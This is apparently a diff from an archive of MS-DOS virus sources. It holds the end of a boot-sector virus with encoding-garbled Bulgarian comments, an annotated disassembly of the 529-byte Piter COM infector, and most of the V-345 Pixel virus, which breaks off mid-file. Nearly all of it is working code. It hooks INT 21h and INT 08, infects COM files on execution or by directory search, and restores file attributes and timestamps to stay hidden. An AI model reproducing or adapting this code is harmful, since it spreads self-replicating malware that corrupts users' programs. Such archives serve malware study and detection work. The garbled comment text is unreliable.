||||
MOV CX,001Ch
|
||||
REPZ MOVSB ;¬¥±²¨ BPB ² ¡«¨¶ ² ®² BOOT sector
|
||||
|
||||
CMP Word Ptr D8000+01FCh,1357h ;‡ ° §¥ «¨ ¥ ¤¨±ª ?
|
||||
JNE L7D8B ;¥
|
||||
|
||||
CMP Byte Ptr D8000+01FBh,00h ;Šº¤¥ «¨ ±®·¨ DS?
|
||||
JNC L7D8A
|
||||
|
||||
;---- „¨±ª ¥ § ° §¥ ----; ;---- ’³ª ¬ © ¿¬ ¤ ¤®©¤¥ ¨ª®£ ? ----;
|
||||
MOV AX,Word Ptr D8000+01F5h ;<3B>®¦ ° ¡®² ...
|
||||
MOV Word Ptr D7DF5,AX
|
||||
MOV SI,Word Ptr D8000+01F9h
|
||||
jmp L7E92
|
||||
|
||||
L7D8A: RET
|
||||
|
||||
|
||||
|
||||
;-------------------
|
||||
; „ˆ‘Š€ <20>… … ‡€<E280A1>€‡…<E280A1>, <20>Ž—‚€ ‡€<E280A1>€‡Ÿ‚€<E2809A>…’Ž
|
||||
;
|
||||
L7D8B: CMP Word Ptr D8000+000Bh,0200h ;’®¢ ¥ ¥ ¨²¥°¥±®
|
||||
JNE L7D8A
|
||||
CMP Byte Ptr D8000+000Dh,02h
|
||||
JC L7D8A
|
||||
MOV CX,Word Ptr D8000+000Eh
|
||||
MOV AL,Byte Ptr D8000+0010h
|
||||
CBW
|
||||
MUL Word Ptr D8000+0016h
|
||||
ADD CX,AX
|
||||
MOV AX,0020h
|
||||
MUL Word Ptr D8000+0011h
|
||||
ADD AX,01FFh
|
||||
MOV BX,0200h
|
||||
DIV BX
|
||||
ADD CX,AX
|
||||
MOV Word Ptr D7DF5,CX
|
||||
MOV AX,Word Ptr D7C13
|
||||
SUB AX,Word Ptr D7DF5
|
||||
MOV BL,Byte Ptr D7C0D
|
||||
XOR DX,DX
|
||||
XOR BH,BH
|
||||
DIV BX
|
||||
INC AX
|
||||
MOV DI,AX
|
||||
AND Byte Ptr D7DF7,0FBh
|
||||
CMP AX,0FF0h
|
||||
JBE L7DE0
|
||||
OR Byte Ptr D7DF7,04h
|
||||
L7DE0: MOV SI,0001h
|
||||
MOV BX,Word Ptr D7C0E
|
||||
DEC BX
|
||||
MOV Word Ptr D7DF3,BX
|
||||
MOV Byte Ptr D7EB2,0FEh
|
||||
JMP short L7E00
|
||||
|
||||
D7DF3 DW 1
|
||||
D7DF5 DW 000Ch
|
||||
D7DF7 DB 1 ;±² ²³±-¡ ©²:
|
||||
; 0000 0001 - ±² °²¨° ® ¥ ¢º§¯°®¨§¢¥¦¤ ¥
|
||||
; 0000 0010 - § ª ·¥ ¥ INT 08
|
||||
; 0000 0100
|
||||
D7DF8 DB 00 ;³±²°®©±²¢®: 0 - A:, 1 - B:, ...
|
||||
D7DF9 DW 274h ;«®£¨·¥±ª¨ ±¥ª²®°, ªº¤¥²® ¥ § ¯¨± ® ¯°®¤º«¦¥¨¥²®
|
||||
|
||||
|
||||
DB 00
|
||||
|
||||
DW 1357h ;ˆ<>„ˆŠ€’Ž<E28099> ‡€ ‡€<E280A1>€‡…<E280A1> „ˆ‘Š!!!!!!!!
|
||||
|
||||
DW 0AA55h ;®°¬ «¥ BOOT ±¥ª²®°
|
||||
|
||||
|
||||
;***********************************************************;
|
||||
; ‚’Ž<E28099>ˆ ‘…Š’Ž<E28099> - <20><>Ž„š‹†…<E280A0>ˆ… <20>€ ‚ˆ<E2809A>“‘€ ;
|
||||
; <20>€Œˆ<C592>€ ‘… <20>€ bad sector <20>€‚š’<C5A1>… ‚ „ˆ‘Š€ ;
|
||||
;***********************************************************;
|
||||
L7E00: INC Word Ptr D7DF3
|
||||
MOV BX,Word Ptr D7DF3
|
||||
ADD Byte Ptr D7EB2,02h
|
||||
call L7C9D
|
||||
JMP short L7E4B
|
||||
L7E12: MOV AX,0003h
|
||||
TEST Byte Ptr D7DF7,04h
|
||||
JE L7E1D
|
||||
INC AX
|
||||
L7E1D: MUL SI
|
||||
SHR AX,1
|
||||
SUB AH,Byte Ptr D7EB2
|
||||
MOV BX,AX
|
||||
CMP BX,01FFh
|
||||
JNC L7E00
|
||||
MOV DX,Word Ptr D8000[BX]
|
||||
TEST Byte Ptr D7DF7,04h
|
||||
JNE L7E45
|
||||
MOV CL,04h
|
||||
TEST SI,0001h
|
||||
JE L7E42
|
||||
SHR DX,CL
|
||||
L7E42: AND DH,0Fh
|
||||
L7E45: TEST DX,0FFFFh
|
||||
JE L7E51
|
||||
L7E4B: INC SI
|
||||
CMP SI,DI
|
||||
JBE L7E12
|
||||
RET
|
||||
L7E51: MOV DX,0FFF7h
|
||||
TEST Byte Ptr D7DF7,04h
|
||||
JNE L7E68
|
||||
AND DH,0Fh
|
||||
MOV CL,04h
|
||||
TEST SI,0001h
|
||||
JE L7E68
|
||||
SHL DX,CL
|
||||
L7E68: OR Word Ptr D8000[BX],DX
|
||||
MOV BX,Word Ptr D7DF3
|
||||
call L7C98
|
||||
MOV AX,SI
|
||||
SUB AX,0002h
|
||||
|
||||
MOV BL,Byte Ptr D7C0D
|
||||
XOR BH,BH
|
||||
MUL BX
|
||||
ADD AX,Word Ptr D7DF5
|
||||
MOV SI,AX
|
||||
MOV BX,0000h
|
||||
call L7C9D
|
||||
|
||||
MOV BX,SI
|
||||
INC BX
|
||||
call L7C98
|
||||
|
||||
L7E92: MOV BX,SI
|
||||
MOV Word Ptr D7DF9,SI
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,0020h
|
||||
MOV ES,AX
|
||||
call L7C98
|
||||
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,0040h
|
||||
MOV ES,AX
|
||||
MOV BX,0000h
|
||||
call L7C98
|
||||
RET
|
||||
|
||||
D7EB0 DW 0EEF0h
|
||||
D7EB2 DB 0
|
||||
|
||||
|
||||
;=======================================================;
|
||||
; ‡€Š€—‚€<E2809A>… ‡€ int 08, €ŠŽ <20>… … ‡€Š€—…<E28094>€ ;
|
||||
;=======================================================;
|
||||
L7EB3: TEST Byte Ptr D7DF7,02h
|
||||
JNE L7EDE
|
||||
OR Byte Ptr D7DF7,02h
|
||||
|
||||
assume ds:BIOS_SEG
|
||||
MOV AX,0000h ;‡ ª ·¢ ±¥ INT 8
|
||||
MOV DS,AX
|
||||
MOV AX,Word Ptr D0020
|
||||
MOV BX,Word Ptr D0022
|
||||
MOV Word Ptr D0020,offset NewINT08
|
||||
MOV Word Ptr D0022,CS
|
||||
assume ds:SEG0000
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV Word Ptr D7FC9,AX ;‡ ¯ §¢ ±² °¨¿² INT 8
|
||||
MOV Word Ptr D7FCB,BX
|
||||
|
||||
L7EDE: RET
|
||||
|
||||
|
||||
;=====================================================================;
|
||||
; ’€‡ˆ <20><>Žƒ<C5BD>€Œ€ ‘… ‚<>š‡‚€ <20>€ ŒŸ‘’Ž’Ž <20>€ ˆ‘’ˆ<E28099>‘ŠˆŸ’ int 08 ;
|
||||
;=====================================================================;
|
||||
NewINT08:
|
||||
PUSH DS ;‡ ¯ §¢ ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Ž¯° ¢¿ ±®¡±²¢¥¨¿² DS
|
||||
POP DS
|
||||
|
||||
MOV AH,0Fh ;Get current video mode
|
||||
INT 10h
|
||||
|
||||
MOV BL,AL
|
||||
CMP BX,Word Ptr D7FD4 ;mode = ±² °¨¿² mode
|
||||
JE L7F27 ;¤ , ¯°®¤º«¦ ¢
|
||||
|
||||
;---- <20>¥¦¨¬º² ¤¨±¯«¥© ¥ ¯°®¬¥¥. “±² ®¢¿¢¿ ®¢¨¿² °¥¦¨¬ ----;
|
||||
MOV Word Ptr D7FD4,BX ;§ ¯¨±¢ ±²° ¨¶ ² ¨ mode
|
||||
DEC AH
|
||||
MOV Byte Ptr D7FD6,AH ;§ ¯ §¢ char_per_line-1
|
||||
|
||||
MOV AH,01h
|
||||
CMP BL,07h ;mode = text b/w MGA, EGA?
|
||||
JNE L7F05 ;¥
|
||||
DEC AH
|
||||
|
||||
L7F05: CMP BL,04h ;mode = graphics?
|
||||
JNC L7F0C ;¤
|
||||
DEC AH
|
||||
|
||||
L7F0C: MOV Byte Ptr D7FD3,AH
|
||||
MOV Word Ptr D7FCF,0101h
|
||||
MOV Word Ptr D7FD1,0101h
|
||||
|
||||
MOV AH,03h ;Read cursor position and size
|
||||
INT 10h
|
||||
|
||||
PUSH DX ;‡ ¯ §¢ ¯®§¨¶¨¿² ª³°±®°
|
||||
|
||||
MOV DX,Word Ptr D7FCF
|
||||
JMP short L7F4A
|
||||
|
||||
|
||||
;---- <20>¥¦¨¬º² ¤¨±¯«¥¿ (mode) ¥ ¥ ¯°®¬¥¿ ----;
|
||||
L7F27: MOV AH,03h ;Read cursor position and size
|
||||
INT 10h
|
||||
|
||||
PUSH DX ;‡ ¯ §¢ cursor pos & size
|
||||
|
||||
MOV AH,02h ;Set cursor position
|
||||
MOV DX,Word Ptr D7FCF
|
||||
INT 10h
|
||||
|
||||
MOV AX,Word Ptr D7FCD ;Ž¯°¥¤¥«¿ ª ª¢® ¤ ¯¨¸¥ ¯® ¥ª°
|
||||
CMP Byte Ptr D7FD3,01h ;mode = GRAPF?
|
||||
JNE L7F41 ;¥
|
||||
MOV AX,8307h
|
||||
|
||||
L7F41: MOV BL,AH ;Write character & attribute
|
||||
MOV CX,0001h
|
||||
MOV AH,09h
|
||||
INT 10h
|
||||
|
||||
|
||||
|
||||
;---- Š®°¨£¨° ¯®§¨¶¨¿² ª³°±®° ----;
|
||||
L7F4A: MOV CX,Word Ptr D7FD1
|
||||
|
||||
CMP DH,00h ;Up
|
||||
JNE L7F58
|
||||
XOR CH,0FFh
|
||||
INC CH
|
||||
|
||||
L7F58: CMP DH,18h ;Down
|
||||
JNE L7F62
|
||||
XOR CH,0FFh
|
||||
INC CH
|
||||
|
||||
L7F62: CMP DL,00h ;Left
|
||||
JNE L7F6C
|
||||
XOR CL,0FFh
|
||||
INC CL
|
||||
|
||||
L7F6C: CMP DL,Byte Ptr D7FD6 ;Right
|
||||
JNE L7F77
|
||||
XOR CL,0FFh
|
||||
INC CL
|
||||
|
||||
L7F77: CMP CX,Word Ptr D7FD1
|
||||
JNE L7F94
|
||||
MOV AX,Word Ptr D7FCD
|
||||
AND AL,07h
|
||||
CMP AL,03h
|
||||
JNE L7F8B
|
||||
XOR CH,0FFh
|
||||
INC CH
|
||||
L7F8B: CMP AL,05h
|
||||
JNE L7F94
|
||||
XOR CL,0FFh
|
||||
INC CL
|
||||
|
||||
L7F94: ADD DL,CL
|
||||
ADD DH,CH
|
||||
MOV Word Ptr D7FD1,CX
|
||||
MOV Word Ptr D7FCF,DX
|
||||
MOV AH,02h
|
||||
INT 10h ;Set cursor position
|
||||
|
||||
MOV AH,08h ;Read character & attribute
|
||||
INT 10h
|
||||
|
||||
MOV Word Ptr D7FCD,AX
|
||||
MOV BL,AH
|
||||
CMP Byte Ptr D7FD3,01h ;mode = GRAPH?
|
||||
JNE L7FB6 ;¥
|
||||
MOV BL,83h
|
||||
|
||||
L7FB6: MOV CX,0001h ;Write character & attribute
|
||||
MOV AX,0907h
|
||||
INT 10h
|
||||
|
||||
POP DX ;Restore cursor position
|
||||
MOV AH,02h
|
||||
INT 10h
|
||||
|
||||
POP DX ;‚º§±² ®¢¿¢ ¯®²°¥¡¨²¥«±ª¨²¥ °¥£¨±²°¨
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POP DS
|
||||
D7FC9 = $+1
|
||||
D7FCB = $+3
|
||||
JMP INTERR8 ;Ž²¨¢ ¨±²¨±ª¨¿² INT 08
|
||||
|
||||
D7FCD DW 0
|
||||
D7FCF DW 0101h ;<3B> ¡®² ¯®§¨¶¨¿ ¥ª° ¢¨°³±
|
||||
D7FD1 DW 0101h
|
||||
D7FD3 DB 0 ; 1 - mode = graph, b800
|
||||
; 0 - mode = text, b800
|
||||
;-1 - mode = 7, text b/w EGA,HGA
|
||||
|
||||
D7FD4 DW 0FFFFh ;± ¬¨¿² mode
|
||||
D7FD6 DB 50h ;¡°®© ±¨¬¢®«¨ °¥¤
|
||||
|
||||
|
||||
DB 0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh
|
||||
DB 0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h
|
||||
DB 050h,0ECh,040h,064h,05Ch,060h,052h,040h
|
||||
DB 040h,040h,040h,064h,062h,05Eh,062h,060h
|
||||
DB 05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h
|
||||
DB 0B6h
|
||||
|
||||
|
||||
;*************************************************************
|
||||
; <20>€<EFBFBD>Ž’<C5BD>€ Ž<>‹€‘’ <20>€ ‚ˆ<E2809A>“‘€
|
||||
D8000 = $
|
||||
|
||||
SEG0000 ends
|
||||
END
|
1002
MSDOS/Virus.MSDOS.Unknown.pinworm.asm
Normal file
1002
MSDOS/Virus.MSDOS.Unknown.pinworm.asm
Normal file
File diff suppressed because it is too large
Load Diff
347
MSDOS/Virus.MSDOS.Unknown.piter.asm
Normal file
347
MSDOS/Virus.MSDOS.Unknown.piter.asm
Normal file
@ -0,0 +1,347 @@
|
||||
; virus 529 extracted from full memory dump published by N.N.Bezrukov
|
||||
; in Virus Guide (Computer Virology) edition 3.5. First information about this
|
||||
; virus has been released by D.N.Lozinsky (Leningrad USSR) before june 1990.
|
||||
;
|
||||
; Dissasembly: A.Kadlof 1990-08-31
|
||||
;
|
||||
; Virus code is placed at the begining of the file
|
||||
|
||||
0100 B815CA MOV AX,CA15 ; is resident part alredy instaled?
|
||||
0103 8B361B01 MOV SI,[011B] ; offset of oryginal first 529 bytes
|
||||
0107 BF0001 MOV DI,0100 ; begining of the file
|
||||
010A 8B0E1D01 MOV CX,[011D] ; 0211h = 529 virus length
|
||||
010E 8B1E1901 MOV BX,[0119] ; 0101h or less means: do not disable
|
||||
0112 CD21 INT 21 ; resident part of the virus
|
||||
|
||||
; if resident part of the virus is instaled then INT 21 with AX = CA15
|
||||
; will start infected program, atherwise we will come here
|
||||
|
||||
0114 FF361F01 PUSH [011F] ; jump to CS:0147
|
||||
0118 C3 RET
|
||||
|
||||
;------------------
|
||||
; virus date area
|
||||
|
||||
0119 01 01 ; flag - disable virus request
|
||||
011B D0 07 ; adress of oryginal 529 byte of the file, oryginal file length
|
||||
; plus 100h (size of memory image of file + PSP)
|
||||
011D 11 02 ; virus length
|
||||
011F 47 01 ; offset of virus code after working area
|
||||
0121 79 00 ; ??
|
||||
0123 C0 01
|
||||
0125 04 00
|
||||
0127 C4 01 ; offset of new INT 21h handler
|
||||
0129 4D 00
|
||||
012B 11 02 EA 00 FB ; ??
|
||||
0130 02 01 00 FC 02 01 00 ; ??
|
||||
|
||||
; EXEC Parameter Block
|
||||
|
||||
0137 00 00 ; segment of child enviroment
|
||||
0139 80 00 0E 25 ; adress of command line
|
||||
013D 5C 00 0E 25 ; adress of first FCB
|
||||
013F 6C 00 0E 25 ; adress of second FCB
|
||||
|
||||
0145 CA 01 ; offset of virus int 21h handler
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; continue instalation of virus if resident part is not present
|
||||
|
||||
0147 A11D01 MOV AX,[011D] ; 0211h virus length
|
||||
014A 051401 ADD AX,0114 ; AX := 325h length of buffer and
|
||||
; working area
|
||||
014D 90 NOP
|
||||
014E A30503 MOV [0305],AX ; I/O buffer
|
||||
0151 03061D01 ADD AX,[011D]
|
||||
0155 050001 ADD AX,0100
|
||||
0158 A30D03 MOV [030D],AX
|
||||
015B 8BE0 MOV SP,AX
|
||||
015D 050F00 ADD AX,000F
|
||||
0160 B104 MOV CL,04
|
||||
0162 D3E8 SHR AX,CL
|
||||
0164 A30F03 MOV [030F],AX ; memory (in paragraphs) requested by
|
||||
0167 06 PUSH ES ; virus (64 paragraphs)
|
||||
|
||||
; capture INT 21h
|
||||
|
||||
0168 B82135 MOV AX,3521 ; get INT 21h
|
||||
016B CD21 INT 21
|
||||
|
||||
; store it
|
||||
|
||||
016D 8C06FF02 MOV [02FF],ES
|
||||
0171 891EFD02 MOV [02FD],BX
|
||||
|
||||
0175 07 POP ES ; restore from the stack
|
||||
0176 8B162701 MOV DX,[0127] ; offset of new INT 21h
|
||||
017A B82125 MOV AX,2521 ; set INT 21h
|
||||
017D CD21 INT 21
|
||||
|
||||
017F 8B1E0F03 MOV BX,[030F] ; size of requested memory
|
||||
0183 B44A MOV AH,4A ; modify allocated memory block
|
||||
0185 CD21 INT 21
|
||||
|
||||
0187 8CC0 MOV AX,ES
|
||||
0189 A33B01 MOV [013B],AX ; prepare EXEC Parameter Block
|
||||
018C A33F01 MOV [013F],AX
|
||||
018F A34301 MOV [0143],AX
|
||||
|
||||
0192 8E1E2C00 MOV DS,[002C] ; enviroment block
|
||||
0196 33F6 XOR SI,SI ; point at the begining of block
|
||||
|
||||
0198 AC LODSB
|
||||
0199 0A04 OR AL,[SI] ; look for 0, 0 marker
|
||||
019B 75FB JNZ 0198
|
||||
|
||||
019D 83C603 ADD SI,+03 ; point at full pathname
|
||||
01A0 8BD6 MOV DX,SI ; offset of name of virus carrier
|
||||
01A2 BB3701 MOV BX,0137 ; adres of EXEC parameter block
|
||||
01A5 B8004B MOV AX,4B00 ; Load & Execute
|
||||
01A8 CD21 INT 21
|
||||
|
||||
01AA 8CC8 MOV AX,CS
|
||||
01AC 8ED0 MOV SS,AX ; restore stack pointers
|
||||
01AE 2E CS:
|
||||
01AF 8B260D03 MOV SP,[030D]
|
||||
01B3 B44D MOV AH,4D ; get return code of subprogram
|
||||
01B5 CD21 INT 21
|
||||
|
||||
01B7 2E CS:
|
||||
01B8 8B160F03 MOV DX,[030F] ; needed number of paragraphs
|
||||
01BC B431 MOV AH,31 ; terminate but stay resident
|
||||
01BE CD21 INT 21
|
||||
|
||||
01C0 B44C MOV AH,4C ; terminate process
|
||||
01C2 CD21 INT 21
|
||||
|
||||
;----------------------
|
||||
; new INT 21h handler
|
||||
|
||||
01C4 2E CS:
|
||||
01C5 FF364501 PUSH [0145] ; 01CA
|
||||
01C9 C3 RET
|
||||
|
||||
01CA 3D15CA CMP AX,CA15 ; virus call?
|
||||
01CD 7519 JNZ 01E8 ; no
|
||||
|
||||
01CF 2E CS:
|
||||
01D0 3B1E1901 CMP BX,[0119] ; disable request?
|
||||
01D4 7608 JBE 01DE ; no
|
||||
|
||||
; disable resident part of virus
|
||||
|
||||
01D6 2E CS:
|
||||
01D7 C70645010C02 MOV WORD PTR [0145],020C
|
||||
01DD CF IRET
|
||||
|
||||
; return to infected file, first copy oryginal 529 bytes from the end of the
|
||||
; file to the begining (registers should be prepared by caller)
|
||||
|
||||
01DE F3 REPZ
|
||||
01DF A4 MOVSB
|
||||
|
||||
01E0 58 POP AX
|
||||
01E1 B80001 MOV AX,0100 ; new start adress
|
||||
01E4 50 PUSH AX
|
||||
01E5 33C0 XOR AX,AX
|
||||
01E7 CF IRET
|
||||
|
||||
; is it Load & Execute request?
|
||||
|
||||
01E8 3D004B CMP AX,4B00 ; Load & Execute
|
||||
01EB 751F JNZ 020C ; no, jump to oryginal INT 21h
|
||||
|
||||
; check the name of loaded file (is it COM or not)
|
||||
|
||||
01ED 06 PUSH ES
|
||||
01EE 1E PUSH DS
|
||||
01EF 07 POP ES
|
||||
01F0 8BFA MOV DI,DX ; name of loaded file
|
||||
01F2 B9FFFF MOV CX,FFFF ; length of searched block
|
||||
01F5 F2 REPNZ
|
||||
01F6 AE SCASB ; AL = 0;
|
||||
01F7 26 ES:
|
||||
01F8 8A45FE MOV AL,[DI-02] ; last letter of extension of name
|
||||
01FB 0C20 OR AL,20 ; convert to lower letter
|
||||
01FD 3C6D CMP AL,6D ; 'm' (is it COM?)
|
||||
01FF 07 POP ES
|
||||
0200 7505 JNZ 0207 ; no
|
||||
|
||||
0202 E80C00 CALL 0211 ; infect loaded file
|
||||
|
||||
0205 EB03 JMP 020A
|
||||
|
||||
0207 E8F100 CALL 02FB ; CS:02FB RET
|
||||
|
||||
020A 32C0 XOR AL,AL
|
||||
|
||||
020C 2E CS:
|
||||
020D FF2EFD02 JMP FAR [02FD] ; oryginal INT 21h
|
||||
|
||||
;---------------------------
|
||||
; Infection of the new file
|
||||
|
||||
0211 06 PUSH ES
|
||||
0212 50 PUSH AX
|
||||
0213 53 PUSH BX
|
||||
0214 1E PUSH DS
|
||||
0215 52 PUSH DX
|
||||
0216 8BEC MOV BP,SP
|
||||
|
||||
0218 0E PUSH CS
|
||||
0219 1F POP DS
|
||||
|
||||
021A B82435 MOV AX,3524 ; get INT 24h
|
||||
021D CD21 INT 21
|
||||
|
||||
021F 8C060303 MOV [0303],ES
|
||||
0223 891E0103 MOV [0301],BX
|
||||
|
||||
0227 BAF802 MOV DX,02F8 ; offset of virus INT 24h handler
|
||||
022A B82425 MOV AX,2524 ; set interrupt vector 24h
|
||||
022D CD21 INT 21
|
||||
|
||||
022F 1E PUSH DS
|
||||
0230 8B5600 MOV DX,[BP+00] ; adress of loaded file name
|
||||
0233 8E5E02 MOV DS,[BP+02]
|
||||
0236 B80043 MOV AX,4300 ; get file attributes
|
||||
0239 CD21 INT 21
|
||||
|
||||
023B 7250 JB 028D ; problems
|
||||
|
||||
023D 2E CS:
|
||||
023E 890E0B03 MOV [030B],CX ; store current file attributes
|
||||
0242 B80143 MOV AX,4301 ; set file attributes
|
||||
0245 33C9 XOR CX,CX ; clear all attributes
|
||||
0247 CD21 INT 21
|
||||
|
||||
0249 7242 JB 028D ; problems
|
||||
|
||||
024B B8023D MOV AX,3D02 ; open file for read\write
|
||||
024E CD21 INT 21
|
||||
|
||||
0250 7274 JB 02C6 ; problems
|
||||
|
||||
0252 1F POP DS
|
||||
0253 8BD8 MOV BX,AX
|
||||
0255 B80057 MOV AX,5700 ; get file date
|
||||
0258 CD21 INT 21
|
||||
|
||||
025A 726A JB 02C6 ; problems
|
||||
|
||||
025C 890E0703 MOV [0307],CX ; store time
|
||||
0260 89160903 MOV [0309],DX ; store date
|
||||
|
||||
0264 8B160503 MOV DX,[0305] ; offset of buffer
|
||||
0268 8B0E1D01 MOV CX,[011D] ; number of bytes to read (full virus)
|
||||
026C B43F MOV AH,3F ; read from file
|
||||
026E CD21 INT 21
|
||||
|
||||
0270 7254 JB 02C6 ; problems
|
||||
|
||||
0272 3BC1 CMP AX,CX ; check for I/O problems
|
||||
0274 7550 JNZ 02C6 ; problems
|
||||
|
||||
; compare first 19h bytes (25) to check is file alredy infected
|
||||
|
||||
0276 0E PUSH CS
|
||||
0277 07 POP ES
|
||||
0278 BF0001 MOV DI,0100
|
||||
027B 8BF2 MOV SI,DX
|
||||
027D B91900 MOV CX,0019
|
||||
0280 F3 REPZ
|
||||
0281 A6 CMPSB
|
||||
0282 7442 JZ 02C6 ; file infected
|
||||
|
||||
0284 B80242 MOV AX,4202 ; move file pointer
|
||||
0287 33C9 XOR CX,CX ; to the end of file
|
||||
0289 8BD1 MOV DX,CX ; CX:DX = 0
|
||||
028B CD21 INT 21
|
||||
|
||||
028D 7237 JB 02C6 ; problems
|
||||
|
||||
028F 0BD2 OR DX,DX ; file over 64 Kb
|
||||
0291 7533 JNZ 02C6 ; problems
|
||||
|
||||
0293 050001 ADD AX,0100
|
||||
0296 A31B01 MOV [011B],AX
|
||||
0299 3D00F0 CMP AX,F000
|
||||
029C 7728 JA 02C6 ; file to big
|
||||
|
||||
029E 3DD007 CMP AX,07D0 ; file to small
|
||||
02A1 7223 JB 02C6 ; problems
|
||||
|
||||
02A3 8B0E1D01 MOV CX,[011D] ; number of bytes
|
||||
02A7 8B160503 MOV DX,[0305] ; offset of disk I/O buffer
|
||||
02AB B440 MOV AH,40 ; write to file
|
||||
02AD CD21 INT 21
|
||||
|
||||
02AF 7215 JB 02C6 ; problems
|
||||
|
||||
02B1 B80042 MOV AX,4200 ; move file pointer
|
||||
02B4 33D2 XOR DX,DX ; to the beginning of file
|
||||
02B6 8BCA MOV CX,DX ; CX:DX = 0
|
||||
02B8 CD21 INT 21
|
||||
|
||||
02BA 720A JB 02C6 ; problems
|
||||
|
||||
02BC FEC6 INC DH
|
||||
02BE 8B0E1D01 MOV CX,[011D] ; number of bytes
|
||||
02C2 B440 MOV AH,40 ; write to file
|
||||
02C4 CD21 INT 21
|
||||
|
||||
;----------------------------------
|
||||
; exit if any troubles or when done
|
||||
|
||||
02C6 B80157 MOV AX,5701 ; set file time and date
|
||||
02C9 8B0E0703 MOV CX,[0307] ; recall time
|
||||
02CD 8B160903 MOV DX,[0309] ; recall data
|
||||
02D1 CD21 INT 21
|
||||
|
||||
02D3 B43E MOV AH,3E ; Close file (BX = handle)
|
||||
02D5 CD21 INT 21
|
||||
|
||||
02D7 B80143 MOV AX,4301 ; set file attributes
|
||||
02DA 8B0E0B03 MOV CX,[030B] ; recall attributes
|
||||
02DE 8E5E02 MOV DS,[BP+02] ; segment of file name (ASCIIZ)
|
||||
02E1 8B5600 MOV DX,[BP+00] ; offset of file name (ASCIIZ)
|
||||
02E4 CD21 INT 21
|
||||
|
||||
02E6 2E CS:
|
||||
02E7 C5160103 LDS DX,[0301]
|
||||
02EB B82425 MOV AX,2524 ; restore INT 24h
|
||||
02EE CD21 INT 21
|
||||
|
||||
02F0 8BE5 MOV SP,BP
|
||||
02F2 5A POP DX
|
||||
02F3 1F POP DS
|
||||
02F4 5B POP BX
|
||||
02F5 58 POP AX
|
||||
02F6 07 POP ES
|
||||
02F7 C3 RET
|
||||
|
||||
;----------------------------------
|
||||
; INT 24h handler during infection
|
||||
|
||||
02F8 B003 MOV AL,03
|
||||
02FA CF IRET
|
||||
|
||||
02FB C3 RET
|
||||
|
||||
02FC C3 RET
|
||||
|
||||
;--------------
|
||||
; date holder
|
||||
|
||||
02FD 5C 06 FD 18 ; old INT 21h holder
|
||||
0301 56 05 9D 10 ; old INT 24h holder
|
||||
0305 25 03 ; offset of disk I/O buffer
|
||||
0307 36 00 ; file time
|
||||
0309 21 00 ; file date
|
||||
030B 20 00 ; file attributes
|
||||
030D 36 06 ; SP holder
|
||||
030F 64 00 ; segment-paragraph just beyond the end of resident part
|
||||
|
||||
0325 ; I/O bufer
|
||||
|
||||
|
134
MSDOS/Virus.MSDOS.Unknown.pixel.asm
Normal file
134
MSDOS/Virus.MSDOS.Unknown.pixel.asm
Normal file
@ -0,0 +1,134 @@
|
||||
page ,132
|
||||
name V345
|
||||
title V-345 - a mutation of the V-845 virus
|
||||
.radix 16
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100
|
||||
|
||||
timer equ 6C
|
||||
olddta equ 80
|
||||
virlen = offset endcode - offset start
|
||||
newid = offset ident - offset start
|
||||
|
||||
start:
|
||||
jmp short virus
|
||||
|
||||
ident dw 'VI'
|
||||
counter db 0
|
||||
allcom db '*.COM',0
|
||||
progbeg dd ?
|
||||
eof dw ?
|
||||
newdta db 2C dup (?)
|
||||
fname equ offset newdta+1E
|
||||
|
||||
virus:
|
||||
push ax
|
||||
mov ax,cs ;Move program code
|
||||
add ax,1000 ; 64K bytes forward
|
||||
mov es,ax
|
||||
inc [counter]
|
||||
mov si,offset start
|
||||
xor di,di
|
||||
mov cx,virlen
|
||||
rep movsb
|
||||
|
||||
mov dx,offset newdta ;Set new Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
mov dx,offset allcom ;Search for '*.COM' files
|
||||
mov cx,110b ;Normal, Hidden or System
|
||||
mov ah,4E ;Find First file
|
||||
int 21
|
||||
jc done ;Quit if none found
|
||||
|
||||
mainlp:
|
||||
mov dx,fname
|
||||
mov ax,3D02 ;Open file in Read/Write mode
|
||||
int 21
|
||||
mov bx,ax ; Save handle
|
||||
push es
|
||||
pop ds
|
||||
mov dx,virlen
|
||||
mov cx,0FFFF ;Read all bytes (64K max in .COM file)
|
||||
mov ah,3F ;Read from handle
|
||||
int 21 ;Bytes read in AX
|
||||
add ax,virlen
|
||||
mov cs:[eof],ax ;Save pointer to the end of file
|
||||
cmp ds:[newid+virlen],'VI' ;Infected?
|
||||
je close ;Go find next file if so
|
||||
|
||||
xor cx,cx ;Go to file beginning
|
||||
mov dx,cx
|
||||
mov ax,4200 ;LSEEK from the beginning of the file
|
||||
int 21
|
||||
jc close ;Leave this file if error occures
|
||||
|
||||
xor dx,dx ;Write the whole code (virus+file)
|
||||
mov cx,cs:[eof] ; back onto the file
|
||||
mov ah,40 ;Write to handle
|
||||
int 21
|
||||
|
||||
close:
|
||||
mov ah,3E ;Close the file
|
||||
int 21
|
||||
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
mov ah,4F ;Find next matching file
|
||||
int 21
|
||||
jc done ;Exit if all found
|
||||
jmp mainlp ;Otherwise loop again
|
||||
|
||||
done:
|
||||
mov dx,olddta ;Restore old Disk Transfer Address
|
||||
mov ah,1A ;Set DTA
|
||||
int 21
|
||||
|
||||
cmp [counter],5 ;If counter goes above 5,
|
||||
jb progok ; the program becomes "sick"
|
||||
mov ax,40
|
||||
mov ds,ax ;Get the system timer value
|
||||
mov ax,word ptr [timer]
|
||||
push cs
|
||||
pop ds ;Restore DS
|
||||
and ax,1 ;At random (if timer value is odd)
|
||||
jz progok ; display the funny message
|
||||
mov dx,offset message
|
||||
mov ah,9 ;Print string
|
||||
int 21
|
||||
int 20 ;Terminate program
|
||||
|
||||
message db 'Program sick error:Call doctor or '
|
||||
db 'buy PIXEL for cure description',0A,0Dh,'$'
|
||||
|
||||
progok:
|
||||
mov si,offset transf ;Move this part of code
|
||||
